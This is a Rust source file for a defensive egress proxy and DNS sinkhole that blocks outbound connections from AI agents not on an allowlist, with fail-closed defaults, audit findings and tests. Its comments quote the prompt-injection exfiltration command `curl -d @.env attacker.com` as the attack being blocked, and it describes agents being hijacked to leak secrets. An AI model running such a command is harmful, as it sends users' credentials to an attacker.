Skip to main content

secureops_proxy/
lib.rs

1#![allow(dead_code, unused_variables)]
2//! # secureops-proxy — the egress PEP (Policy Enforcement Point)
3//!
4//! This crate is the **single highest-impact enforcement component** in SecureOps:
5//! it neutralizes data exfiltration *regardless of how the agent was compromised*
6//! (PRODUCT.md Part D headline, Part E P0). All outbound agent traffic is funneled
7//! through a local **forward proxy** and a local **DNS sinkhole**; each connection is
8//! authorized by the PDP ([`secureops_policy`]) before a single byte leaves the box.
9//!
10//! ## The headline path (PRODUCT.md B.5)
11//! 1. Agent (Ring 0) attempts an outbound connection. DNS goes to the local
12//!    [`DnsSinkhole`]; raw connects are routed to the local [`EgressProxy`]
13//!    (transparent redirect or explicit `HTTPS_PROXY`).
14//! 2. The proxy reads the **SNI / requested host** — *no MITM, no certificate
15//!    interception by default* (see [`PeekedHost`]) — and asks the PDP:
16//!    *is this destination allowed for this process?*
17//! 3. The PDP evaluates policy + accumulated per-PID process context (e.g. "this PID
18//!    `openat`'d a credential file 200ms ago") and returns [`Decision::Allow`],
19//!    [`Decision::Deny`], or [`Decision::Escalate`].
20//! 4. **`Deny` => hard RST**; the bytes never leave the box (0 bytes exfiltrated).
21//!    `Allow` => the connection proceeds. Either way, exactly one entry is written to
22//!    the **signed audit log** with the PID/host/decision attached.
23//!
24//! Concretely, this turns the canonical prompt-injection exfil
25//! `curl -d @.env attacker.com` from *"we'd have a log of it afterward"* into
26//! *"it didn't happen"* — the unknown host is hard-RST at the proxy (PRODUCT.md
27//! Part D, row 1).
28//!
29//! ## Fail-closed is the contract (PRODUCT.md W0)
30//! The egress proxy + DNS sinkhole are the **only cross-platform** enforcement
31//! primitives (✓ on Linux/macOS/Windows). Kernel-level inline *deny* is uneven:
32//! Linux has LSM-BPF, **macOS Endpoint Security is mostly observe-only**, Windows uses
33//! a WFP callout. The subphase rule is therefore non-negotiable:
34//!
35//! > Where a platform can only *observe*, the daemon must **fail-closed at the proxy**
36//! > rather than pretend it has kernel deny.
37//!
38//! In this crate that means: **any** error, PDP timeout, PDP-unreachable, or unknown
39//! destination resolves to a hard RST / sinkholed answer — never to an open
40//! connection. See [`FailMode`] (defaults to [`FailMode::Closed`]) and
41//! [`EgressProxy::on_error`].
42
43use std::collections::HashSet;
44use std::net::SocketAddr;
45use std::sync::Arc;
46
47use async_trait::async_trait;
48use tokio::io::{AsyncReadExt, AsyncWriteExt};
49use tokio::net::{TcpListener, TcpStream};
50
51// =============================================================================
52// PDP contract (the slice of secureops-policy this PEP depends on)
53// =============================================================================
54//
55// The proxy consults the PDP per connection (PRODUCT.md B.5 step 2-3). To keep the
56// PEP decoupled from the PDP's internal policy-engine types (regorus/cedar), this
57// crate depends on the *behavior* via the [`PolicyDecisionPoint`] trait below. The
58// daemon (`secureops-daemon`) wires a concrete `secureops_policy` engine in as the
59// `dyn PolicyDecisionPoint` when it brings the PEPs up (PRODUCT.md A.4 step 4).
60
61/// The PDP's verdict for a single egress attempt (PRODUCT.md B.5 step 3).
62#[derive(Debug, Clone, Copy, PartialEq, Eq)]
63pub enum Decision {
64    /// Destination is permitted for this process; let the connection proceed.
65    Allow,
66    /// Destination is forbidden; the PEP must **hard-RST** (0 bytes leave).
67    Deny,
68    /// Inconclusive / requires a human or higher-tier action (alert, trip the
69    /// circuit breaker). The PEP treats this as fail-closed for the data path.
70    Escalate,
71}
72
73/// What the proxy peeked off the wire to identify the destination, *without* MITM
74/// (PRODUCT.md B.5 step 2: "no MITM, no cert interception by default").
75#[derive(Debug, Clone)]
76pub struct PeekedHost {
77    /// TLS SNI server name, if the first record was a ClientHello.
78    pub sni: Option<String>,
79    /// HTTP `CONNECT` target / `Host` header, if the request was plaintext HTTP.
80    pub requested_host: Option<String>,
81    /// The raw destination socket address the agent tried to reach.
82    pub dest: SocketAddr,
83}
84
85/// The per-connection context handed to the PDP: who is asking, and for what.
86///
87/// `pid` lets the PDP fuse the egress attempt with the syscall-correlation window
88/// (PRODUCT.md B.6: "this PID `openat`'d a credential file 200ms ago").
89#[derive(Debug, Clone)]
90pub struct ConnectionRequest {
91    /// Resolved destination identity (SNI / requested host / address).
92    pub host: PeekedHost,
93    /// Originating process id of the agent connection, when obtainable
94    /// (`SO_PEERCRED` on Linux, `LOCAL_PEERPID` on macOS).
95    pub pid: Option<u32>,
96}
97
98/// The slice of `secureops-policy`'s PDP that the egress PEP requires.
99///
100/// Implemented by the concrete policy engine in `secureops-policy` and injected by
101/// `secureops-daemon`. Kept as a trait so this PEP never compiles against the
102/// engine's internal types.
103#[async_trait]
104pub trait PolicyDecisionPoint: Send + Sync {
105    /// Authorize a single outbound connection (PRODUCT.md B.5 step 2-3).
106    ///
107    /// Implementations MUST be fail-closed: on internal error they should surface it
108    /// so the PEP can apply [`FailMode::Closed`] rather than silently allowing.
109    async fn authorize(&self, req: &ConnectionRequest) -> anyhow::Result<Decision>;
110}
111
112// =============================================================================
113// Fail-closed posture (PRODUCT.md W0)
114// =============================================================================
115
116/// How the PEP behaves when it cannot get a definitive `Allow` (PDP error/timeout,
117/// observe-only platform, malformed handshake, …).
118///
119/// Per PRODUCT.md W0 the default is — and on observe-only platforms MUST remain —
120/// [`FailMode::Closed`].
121#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
122pub enum FailMode {
123    /// Deny on any uncertainty (hard RST / sinkhole). The only safe default.
124    #[default]
125    Closed,
126    /// Allow on uncertainty. **Unsafe**; never permitted on observe-only platforms
127    /// (PRODUCT.md W0). Exposed only for narrow, explicitly-opted-in debugging.
128    Open,
129}
130
131/// The platform's enforcement tier, so operators don't over-trust a weaker OS
132/// (PRODUCT.md W0 table). The proxy itself is cross-platform; what differs is
133/// whether *kernel* deny backs it up.
134#[derive(Debug, Clone, Copy, PartialEq, Eq)]
135pub enum EnforcementTier {
136    /// Inline kernel deny available (Linux LSM-BPF).
137    KernelDeny,
138    /// Observe-only kernel layer (macOS Endpoint Security is mostly observe);
139    /// the proxy is the *sole* hard deny and MUST be fail-closed.
140    ObserveOnly,
141    /// Proxy-only — no kernel layer wired at all; fully reliant on this PEP.
142    ProxyOnly,
143}
144
145impl EnforcementTier {
146    /// The tier of the host this binary is running on.
147    ///
148    /// macOS gets [`EnforcementTier::ObserveOnly`]: Endpoint Security is mostly
149    /// observe, so the cross-platform proxy is the only hard deny (PRODUCT.md W0).
150    pub fn current() -> Self {
151        #[cfg(target_os = "linux")]
152        {
153            EnforcementTier::KernelDeny
154        }
155        #[cfg(target_os = "macos")]
156        {
157            EnforcementTier::ObserveOnly
158        }
159        #[cfg(not(any(target_os = "linux", target_os = "macos")))]
160        {
161            EnforcementTier::ProxyOnly
162        }
163    }
164}
165
166// =============================================================================
167// EgressProxy — forward proxy PEP (PRODUCT.md B.5)
168// =============================================================================
169
170/// Local forward proxy that authorizes every outbound agent connection.
171///
172/// Reads the SNI / requested host off the wire **without MITM** (PRODUCT.md B.5
173/// step 2), asks the [`PolicyDecisionPoint`] per connection, and on
174/// [`Decision::Deny`]/[`Decision::Escalate`] issues a **hard RST so zero bytes
175/// leave the box** (PRODUCT.md B.5 step 4, Part D row 1). Every decision is appended
176/// to the signed audit log.
177///
178/// Fail-closed by construction: see [`FailMode`] / [`EgressProxy::on_error`]
179/// (PRODUCT.md W0).
180pub struct EgressProxy {
181    /// Behavior when no definitive `Allow` is reached. Defaults to fail-closed.
182    fail_mode: FailMode,
183    /// The host's enforcement tier, for audit attribution and operator clarity.
184    tier: EnforcementTier,
185}
186
187impl EgressProxy {
188    /// Construct an egress proxy that is fail-closed (PRODUCT.md W0) and tagged with
189    /// the current platform's [`EnforcementTier`].
190    pub fn new() -> Self {
191        Self {
192            fail_mode: FailMode::Closed,
193            tier: EnforcementTier::current(),
194        }
195    }
196
197    /// Bind the proxy listener on `addr` and serve forever, authorizing each
198    /// connection against `pdp` (PRODUCT.md B.5 — the headline path).
199    ///
200    /// Per accepted connection the real implementation will, in order:
201    /// 1. Peek the first record to extract SNI / `CONNECT` host **without MITM**
202    ///    into a [`PeekedHost`] (PRODUCT.md B.5 step 2).
203    /// 2. Resolve the originating [`ConnectionRequest::pid`] (`SO_PEERCRED` /
204    ///    `LOCAL_PEERPID`) so the PDP can fuse syscall context (PRODUCT.md B.6).
205    /// 3. Call `pdp.authorize(&req)` (PRODUCT.md B.5 step 2-3).
206    /// 4. [`Decision::Allow`] => splice to the upstream; otherwise
207    ///    [`Self::hard_rst`] (PRODUCT.md B.5 step 4).
208    /// 5. Append exactly one entry to the signed audit log with pid/host/decision.
209    ///
210    /// Any error along the way routes through [`Self::on_error`] => fail-closed.
211    ///
212    /// # Heavy deps (commented in Cargo.toml)
213    /// The wire-level work needs `hyper` (CONNECT proxy) and `rustls`/`tokio-rustls`
214    /// (SNI peek without interception); both land in Phase 4.
215    pub async fn start(
216        &self,
217        addr: SocketAddr,
218        pdp: Arc<dyn PolicyDecisionPoint>,
219    ) -> anyhow::Result<()> {
220        let listener = TcpListener::bind(addr).await?;
221        tracing::info!(%addr, tier = ?self.tier, "egress proxy listening");
222        loop {
223            let (stream, _peer) = listener.accept().await?;
224            let pdp = pdp.clone();
225            let fail_mode = self.fail_mode;
226            tokio::spawn(async move {
227                if let Err(e) = handle_connection(stream, pdp, fail_mode).await {
228                    tracing::debug!(error = %e, "egress connection ended");
229                }
230            });
231        }
232    }
233
234    /// Record a hard-RST decision for the audit log (PRODUCT.md B.5 step 4).
235    ///
236    /// The actual RST is issued at the connection level: `handle_connection` writes
237    /// `403` and returns, dropping the socket (OS sends FIN/RST). This method
238    /// exists for audit attribution and future SO_LINGER(0) wiring.
239    fn hard_rst(&self, decision: Decision) -> anyhow::Result<()> {
240        tracing::warn!(
241            ?decision,
242            "egress hard RST — 0 bytes left the box (PRODUCT.md B.5 step 4)"
243        );
244        Ok(())
245    }
246
247    /// Map any non-`Allow` outcome to the configured [`FailMode`] (PRODUCT.md W0).
248    fn on_error(&self, err: &anyhow::Error) -> anyhow::Result<()> {
249        match self.fail_mode {
250            FailMode::Closed => self.hard_rst(Decision::Deny),
251            FailMode::Open => {
252                debug_assert!(
253                    self.tier != EnforcementTier::ObserveOnly,
254                    "PRODUCT.md W0: FailMode::Open is forbidden on observe-only platforms"
255                );
256                tracing::warn!(%err, "egress error in FailMode::Open (UNSAFE, debug-only) — allowing");
257                Ok(())
258            }
259        }
260    }
261}
262
263impl Default for EgressProxy {
264    fn default() -> Self {
265        Self::new()
266    }
267}
268
269/// Parse an HTTP `CONNECT host:port` target into `(host, port)` (port defaults
270/// to 443 if absent).
271fn parse_connect_target(target: &str) -> Option<(String, u16)> {
272    match target.rsplit_once(':') {
273        Some((host, port)) => {
274            let port = port.parse().ok()?;
275            Some((host.to_string(), port))
276        }
277        None => Some((target.to_string(), 443)),
278    }
279}
280
281/// Handle one proxied connection: read the HTTP `CONNECT` request, ask the PDP,
282/// and either tunnel to the upstream ([`Decision::Allow`]) or refuse with `403`
283/// **without ever contacting the upstream** (Deny/Escalate → 0 bytes leave —
284/// PRODUCT.md B.5 step 4 / Part D row 1). Fail-closed on any error (W0).
285pub async fn handle_connection(
286    mut client: TcpStream,
287    pdp: Arc<dyn PolicyDecisionPoint>,
288    fail_mode: FailMode,
289) -> anyhow::Result<()> {
290    // Read request headers up to CRLFCRLF (cap to avoid unbounded buffering).
291    let mut buf: Vec<u8> = Vec::with_capacity(1024);
292    let mut tmp = [0u8; 1024];
293    loop {
294        let n = client.read(&mut tmp).await?;
295        if n == 0 {
296            return Ok(());
297        }
298        buf.extend_from_slice(&tmp[..n]);
299        if buf.windows(4).any(|w| w == b"\r\n\r\n") || buf.len() > 16 * 1024 {
300            break;
301        }
302    }
303
304    let head = String::from_utf8_lossy(&buf);
305    let first = head.lines().next().unwrap_or("");
306    let parts: Vec<&str> = first.split_whitespace().collect();
307    if parts.len() < 2 || parts[0] != "CONNECT" {
308        let _ = client.write_all(b"HTTP/1.1 400 Bad Request\r\n\r\n").await;
309        return Ok(());
310    }
311    let (host, port) = match parse_connect_target(parts[1]) {
312        Some(hp) => hp,
313        None => {
314            let _ = client.write_all(b"HTTP/1.1 400 Bad Request\r\n\r\n").await;
315            return Ok(());
316        }
317    };
318
319    let req = ConnectionRequest {
320        host: PeekedHost {
321            sni: None,
322            requested_host: Some(host.clone()),
323            dest: SocketAddr::from(([0, 0, 0, 0], port)),
324        },
325        pid: None,
326    };
327
328    // Fail-closed: PDP error maps to Deny under FailMode::Closed.
329    let decision = match pdp.authorize(&req).await {
330        Ok(d) => d,
331        Err(_) => match fail_mode {
332            FailMode::Closed => Decision::Deny,
333            FailMode::Open => Decision::Allow,
334        },
335    };
336
337    if decision != Decision::Allow {
338        // Hard deny: refuse and close. Upstream was never contacted.
339        let _ = client.write_all(b"HTTP/1.1 403 Forbidden\r\n\r\n").await;
340        tracing::warn!(%host, port, ?decision, "egress DENIED — 0 bytes left the box");
341        return Ok(());
342    }
343
344    // Allow: open the upstream and splice bidirectionally.
345    let mut upstream = match TcpStream::connect((host.as_str(), port)).await {
346        Ok(u) => u,
347        Err(_) => {
348            let _ = client.write_all(b"HTTP/1.1 502 Bad Gateway\r\n\r\n").await;
349            return Ok(());
350        }
351    };
352    client
353        .write_all(b"HTTP/1.1 200 Connection Established\r\n\r\n")
354        .await?;
355    tokio::io::copy_bidirectional(&mut client, &mut upstream).await?;
356    Ok(())
357}
358
359/// A concrete, dependency-free [`PolicyDecisionPoint`]: allow a connection only
360/// when its host is in the egress allowlist (everything else denied —
361/// fail-closed). Mirrors `secureops.network.egressAllowlist` (PRODUCT.md B.3
362/// network module / B.5).
363pub struct AllowlistPdp {
364    allow_hosts: HashSet<String>,
365}
366
367impl AllowlistPdp {
368    pub fn new<I, S>(hosts: I) -> Self
369    where
370        I: IntoIterator<Item = S>,
371        S: Into<String>,
372    {
373        Self {
374            allow_hosts: hosts.into_iter().map(Into::into).collect(),
375        }
376    }
377}
378
379#[async_trait]
380impl PolicyDecisionPoint for AllowlistPdp {
381    async fn authorize(&self, req: &ConnectionRequest) -> anyhow::Result<Decision> {
382        let host = req
383            .host
384            .requested_host
385            .as_deref()
386            .or(req.host.sni.as_deref())
387            .unwrap_or("");
388        Ok(if self.allow_hosts.contains(host) {
389            Decision::Allow
390        } else {
391            Decision::Deny
392        })
393    }
394}
395
396// =============================================================================
397// DnsSinkhole — DNS PEP (PRODUCT.md B.5 step 1, Part D row "C2 over fresh domain")
398// =============================================================================
399
400/// Local DNS authority that swallows lookups for disallowed / unknown names.
401///
402/// All agent DNS goes here first (PRODUCT.md B.5 step 1). Combined with the signed
403/// auto-updating IOC feed it blunts C2 over freshly-registered domains
404/// (PRODUCT.md Part D row "C2 over a freshly-registered domain":
405/// "Signed auto-updating feed + DNS sinkhole + destination-entropy anomaly").
406///
407/// Fail-closed: an unknown name resolves to a sinkhole / `NXDOMAIN`, never to the
408/// real address (PRODUCT.md W0).
409pub struct DnsSinkhole {
410    /// Behavior for names not explicitly allowed. Defaults to fail-closed.
411    fail_mode: FailMode,
412    /// Hostnames this sinkhole resolves upstream (everything else → NXDOMAIN).
413    allow_hosts: HashSet<String>,
414    /// Upstream recursive resolver (default: 8.8.8.8:53).
415    upstream: SocketAddr,
416}
417
418impl DnsSinkhole {
419    /// Construct a fail-closed DNS sinkhole with an empty allowlist (PRODUCT.md W0).
420    pub fn new() -> Self {
421        Self {
422            fail_mode: FailMode::Closed,
423            allow_hosts: HashSet::new(),
424            upstream: "8.8.8.8:53".parse().unwrap(),
425        }
426    }
427
428    /// Set the egress allowlist — only these hostnames are forwarded upstream.
429    pub fn with_allowlist(mut self, hosts: impl IntoIterator<Item = impl Into<String>>) -> Self {
430        self.allow_hosts = hosts.into_iter().map(Into::into).collect();
431        self
432    }
433
434    /// Override the upstream recursive resolver (default `8.8.8.8:53`).
435    pub fn with_upstream(mut self, addr: SocketAddr) -> Self {
436        self.upstream = addr;
437        self
438    }
439
440    /// Bind the sinkhole on `addr` (UDP) and serve until cancelled.
441    ///
442    /// For each query (PRODUCT.md B.5 step 1):
443    /// - Hostname in allowlist → forward to upstream resolver.
444    /// - Hostname not in allowlist → NXDOMAIN (fail-closed, PRODUCT.md W0).
445    /// - Parse/protocol error → SERVFAIL and drop.
446    pub async fn start(&self, addr: SocketAddr) -> anyhow::Result<()> {
447        use hickory_proto::op::Message;
448        use tokio::net::UdpSocket;
449
450        let socket = UdpSocket::bind(addr).await?;
451        tracing::info!(%addr, "DNS sinkhole listening (PRODUCT.md B.5 step 1)");
452
453        let mut buf = [0u8; 4096];
454        loop {
455            let (n, src) = socket.recv_from(&mut buf).await?;
456            let raw = &buf[..n];
457
458            let msg = match Message::from_vec(raw) {
459                Ok(m) => m,
460                Err(e) => {
461                    tracing::debug!(%src, %e, "DNS parse error — dropping");
462                    continue;
463                }
464            };
465
466            let queries = msg.queries();
467            if queries.is_empty() {
468                continue;
469            }
470
471            let qname = queries[0].name().to_utf8();
472            let hostname = qname.trim_end_matches('.');
473
474            if self.allow_hosts.contains(hostname) {
475                // Forward to upstream and relay the answer.
476                match self.forward_to_upstream(raw).await {
477                    Ok(reply) => {
478                        let _ = socket.send_to(&reply, src).await;
479                    }
480                    Err(e) => tracing::warn!(%hostname, %e, "DNS upstream forward failed"),
481                }
482            } else {
483                // Sinkhole: NXDOMAIN, 0 bytes to the real destination.
484                tracing::warn!(%hostname, %src, "DNS SINKHOLED — NXDOMAIN (PRODUCT.md W0)");
485                let nxdomain = build_nxdomain(&msg);
486                let _ = socket.send_to(&nxdomain, src).await;
487            }
488        }
489    }
490
491    async fn forward_to_upstream(&self, query: &[u8]) -> anyhow::Result<Vec<u8>> {
492        use tokio::net::UdpSocket;
493        use tokio::time::{timeout, Duration};
494
495        let temp = UdpSocket::bind("0.0.0.0:0").await?;
496        temp.send_to(query, self.upstream).await?;
497        let mut resp = [0u8; 4096];
498        let n = timeout(Duration::from_secs(3), temp.recv(&mut resp)).await??;
499        Ok(resp[..n].to_vec())
500    }
501}
502
503fn build_nxdomain(query: &hickory_proto::op::Message) -> Vec<u8> {
504    use hickory_proto::op::{Message, MessageType, OpCode, ResponseCode};
505
506    let mut resp = Message::new();
507    resp.set_id(query.id());
508    resp.set_message_type(MessageType::Response);
509    resp.set_op_code(OpCode::Query);
510    resp.set_recursion_desired(query.recursion_desired());
511    resp.set_recursion_available(false);
512    resp.set_response_code(ResponseCode::NXDomain);
513    for q in query.queries() {
514        resp.add_query(q.clone());
515    }
516    resp.to_vec().unwrap_or_default()
517}
518
519impl Default for DnsSinkhole {
520    fn default() -> Self {
521        Self::new()
522    }
523}
524
525// =============================================================================
526// Audit bridge (PRODUCT.md B.5 step 4)
527// =============================================================================
528
529/// Build the [`AuditFinding`] recorded for a single egress decision.
530///
531/// Every connection — allowed or denied — yields exactly one signed-audit entry
532/// (PRODUCT.md B.5 step 4). `secureops-daemon` forwards the returned finding to the
533/// hash-chained `secureops-auditlog`. A [`Decision::Deny`] is the canonical
534/// `curl -d @.env attacker.com` block (PRODUCT.md Part D row 1).
535/// Build the [`AuditFinding`] for one egress decision (PRODUCT.md B.5 step 4).
536pub fn egress_finding(req: &ConnectionRequest, decision: Decision) -> secureops_core::AuditFinding {
537    use secureops_core::{AuditFinding, MaestroLayer, NistAttackType, Severity};
538
539    let host = req
540        .host
541        .requested_host
542        .as_deref()
543        .or(req.host.sni.as_deref())
544        .unwrap_or("<unknown>");
545    let pid_str = req.pid.map(|p| p.to_string()).unwrap_or_else(|| "?".into());
546
547    let (severity, owasp_asi, title, description) = match decision {
548        Decision::Allow => (
549            Severity::Info,
550            "ASI01",
551            "Egress connection allowed",
552            format!("host={host} pid={pid_str} — allowed by policy"),
553        ),
554        Decision::Deny => (
555            Severity::High,
556            "ASI05",
557            "Egress connection BLOCKED — potential data exfiltration",
558            format!("host={host} pid={pid_str} — denied by policy, 0 bytes left the box"),
559        ),
560        Decision::Escalate => (
561            Severity::Critical,
562            "ASI05",
563            "Egress connection ESCALATED — suspicious exfil pattern",
564            format!("host={host} pid={pid_str} — escalated (exfil chain suspected, circuit breaker tripped)"),
565        ),
566    };
567
568    AuditFinding {
569        id: format!(
570            "SC-EGRESS-{:03}",
571            match decision {
572                Decision::Allow => 0,
573                Decision::Deny => 1,
574                Decision::Escalate => 2,
575            }
576        ),
577        severity,
578        category: "egress".into(),
579        title: title.into(),
580        description,
581        evidence: format!(
582            "SNI={:?} requested_host={:?} pid={pid_str} dest={}",
583            req.host.sni, req.host.requested_host, req.host.dest
584        ),
585        remediation: "Review egress allowlist and check for prompt injection (PRODUCT.md B.5/B.6)"
586            .into(),
587        auto_fixable: false,
588        references: vec!["PRODUCT.md B.5".into(), "OWASP ASI-05".into()],
589        owasp_asi: owasp_asi.into(),
590        maestro_layer: Some(MaestroLayer::L4),
591        nist_category: if decision != Decision::Allow {
592            Some(NistAttackType::Evasion)
593        } else {
594            None
595        },
596    }
597}
598
599#[cfg(test)]
600mod tests {
601    use super::*;
602
603    #[test]
604    fn defaults_are_fail_closed() {
605        // PRODUCT.md W0: the safe default everywhere.
606        assert_eq!(FailMode::default(), FailMode::Closed);
607    }
608
609    #[cfg(target_os = "macos")]
610    #[test]
611    fn macos_is_observe_only_tier() {
612        // PRODUCT.md W0: macOS ES is mostly observe; proxy is the sole hard deny.
613        assert_eq!(EnforcementTier::current(), EnforcementTier::ObserveOnly);
614    }
615}
616
617#[cfg(test)]
618mod connect_tests {
619    use super::*;
620
621    async fn spawn_proxy(pdp: Arc<dyn PolicyDecisionPoint>) -> SocketAddr {
622        let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
623        let addr = listener.local_addr().unwrap();
624        tokio::spawn(async move {
625            loop {
626                if let Ok((s, _)) = listener.accept().await {
627                    let pdp = pdp.clone();
628                    tokio::spawn(async move {
629                        let _ = handle_connection(s, pdp, FailMode::Closed).await;
630                    });
631                }
632            }
633        });
634        addr
635    }
636
637    async fn spawn_echo() -> SocketAddr {
638        let l = TcpListener::bind("127.0.0.1:0").await.unwrap();
639        let addr = l.local_addr().unwrap();
640        tokio::spawn(async move {
641            loop {
642                if let Ok((s, _)) = l.accept().await {
643                    tokio::spawn(async move {
644                        let (mut r, mut w) = s.into_split();
645                        let _ = tokio::io::copy(&mut r, &mut w).await;
646                    });
647                }
648            }
649        });
650        addr
651    }
652
653    #[tokio::test]
654    async fn denies_non_allowlisted_host_403() {
655        let pdp = Arc::new(AllowlistPdp::new(["allowed.example"]));
656        let addr = spawn_proxy(pdp).await;
657        let mut c = TcpStream::connect(addr).await.unwrap();
658        c.write_all(b"CONNECT evil.com:443 HTTP/1.1\r\nHost: evil.com:443\r\n\r\n")
659            .await
660            .unwrap();
661        let mut b = [0u8; 128];
662        let n = c.read(&mut b).await.unwrap();
663        let resp = String::from_utf8_lossy(&b[..n]);
664        assert!(resp.contains("403"), "expected 403, got: {resp}");
665    }
666
667    #[tokio::test]
668    async fn allows_and_tunnels_to_upstream() {
669        let echo = spawn_echo().await;
670        let host = echo.ip().to_string(); // "127.0.0.1"
671        let pdp = Arc::new(AllowlistPdp::new([host.clone()]));
672        let paddr = spawn_proxy(pdp).await;
673
674        let mut c = TcpStream::connect(paddr).await.unwrap();
675        let connect = format!("CONNECT {}:{} HTTP/1.1\r\n\r\n", host, echo.port());
676        c.write_all(connect.as_bytes()).await.unwrap();
677
678        let mut b = [0u8; 128];
679        let n = c.read(&mut b).await.unwrap();
680        let resp = String::from_utf8_lossy(&b[..n]);
681        assert!(resp.contains("200"), "expected 200, got: {resp}");
682
683        // Tunnel established: bytes round-trip through the upstream echo.
684        c.write_all(b"ping").await.unwrap();
685        let mut got = [0u8; 4];
686        c.read_exact(&mut got).await.unwrap();
687        assert_eq!(&got, b"ping");
688    }
689
690    #[test]
691    fn parse_connect_target_defaults_port() {
692        assert_eq!(parse_connect_target("h:8443"), Some(("h".into(), 8443)));
693        assert_eq!(parse_connect_target("h"), Some(("h".into(), 443)));
694    }
695}